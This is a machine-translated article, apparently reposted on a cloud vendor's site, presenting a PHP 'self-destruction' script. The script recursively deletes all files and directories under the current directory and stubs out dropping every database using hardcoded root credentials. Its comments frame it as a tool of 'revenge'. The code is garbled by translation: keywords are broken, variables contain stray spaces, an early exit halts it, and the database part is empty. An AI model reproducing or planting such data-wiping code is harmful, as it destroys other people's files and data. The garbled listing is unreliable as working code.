PHP self-destruction program (use with caution)

Source: Internet
Author: User
PHP self-destruction program (use with caution)

This article describes the PHP self-destruction program. Share it with you for your reference. The specific implementation method is as follows:

  1. // + ----------------------------------------------------------------------
  2. // | Kill !!
  3. // | The program will clear all files and directories in the current directory
  4. // | If the database information is set, try to delete all the database and table data (only if the permission is sufficient !)
  5. // + ----------------------------------------------------------------------
  6. // | Version: $ Id $
  7. // + ----------------------------------------------------------------------
  8. // ---------- Database configuration area -----------------
  9. // The force of revenge is terrible, so you do not need to specify a database to delete all!
  10. Define ('Db _ user', 'root ');
  11. Define ('Db _ pwd', 'root ');
  12. Define ('Db _ host', 'localhost ');
  13. Define ('Db _ port', '123 ');
  14. Define ('Db _ damage', true); // if it is false, the database is not touched.
  15. Run ();
  16. /**
  17. * The subject idea must be brilliant!
  18. *
  19. * @ Return void
  20. **/
  21. Function run ()
  22. {
  23. // Delete an object
  24. Deletedir ();
  25. // Delete the database
  26. DeleteDB ();
  27. }
  28. /**
  29. * Heh: delete all files in the current directory (recursion)
  30. *
  31. * @ Return void
  32. **/
  33. Function deletedir ($ dir = ''){
  34. If ($ dir = ''){
  35. $ Dir = realpath ('.');
  36. }
  37. Echo $ dir;
  38. Exit ();
  39. If (! Handle = @ opendir ($ dir )){
  40. // Check whether the directory to be opened exists
  41. Die ("this directory is not available ");
  42. }
  43. While (false! ==( $ File = readdir ($ handle ))){
  44. If ($ file! = "." & $ File! = ".."){
  45. // Exclude the current directory and parent directory
  46. $ File = $ dir. DIRECTORY_SEPARATOR. $ file;
  47. If (is_dir ($ file )){
  48. Deletedir ($ file );
  49. } Else {
  50. If (@ unlink ($ file )){
  51. Echo "file$ FileDeleted successfully.
    ";
  52. } Else {
  53. Echo "file$ FileDeletion failed!
    ";
  54. }
  55. }
  56. }
  57. If (@ rmdir ($ dir )){
  58. Echo "directory$ DirDeleted successfully.
    \ N ";
  59. } Else {
  60. Echo "directory$ DirDeletion failed!
    \ N ";
  61. }
  62. }
  63. /**
  64. * Heheh: Delete a database
  65. *
  66. * @ Return void
  67. **/
  68. Function deleteDB ()
  69. {
  70. If (DB_DAMAGE === true ){
  71. // Start
  72. }
  73. }

I hope this article will help you with php programming.

PHP

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.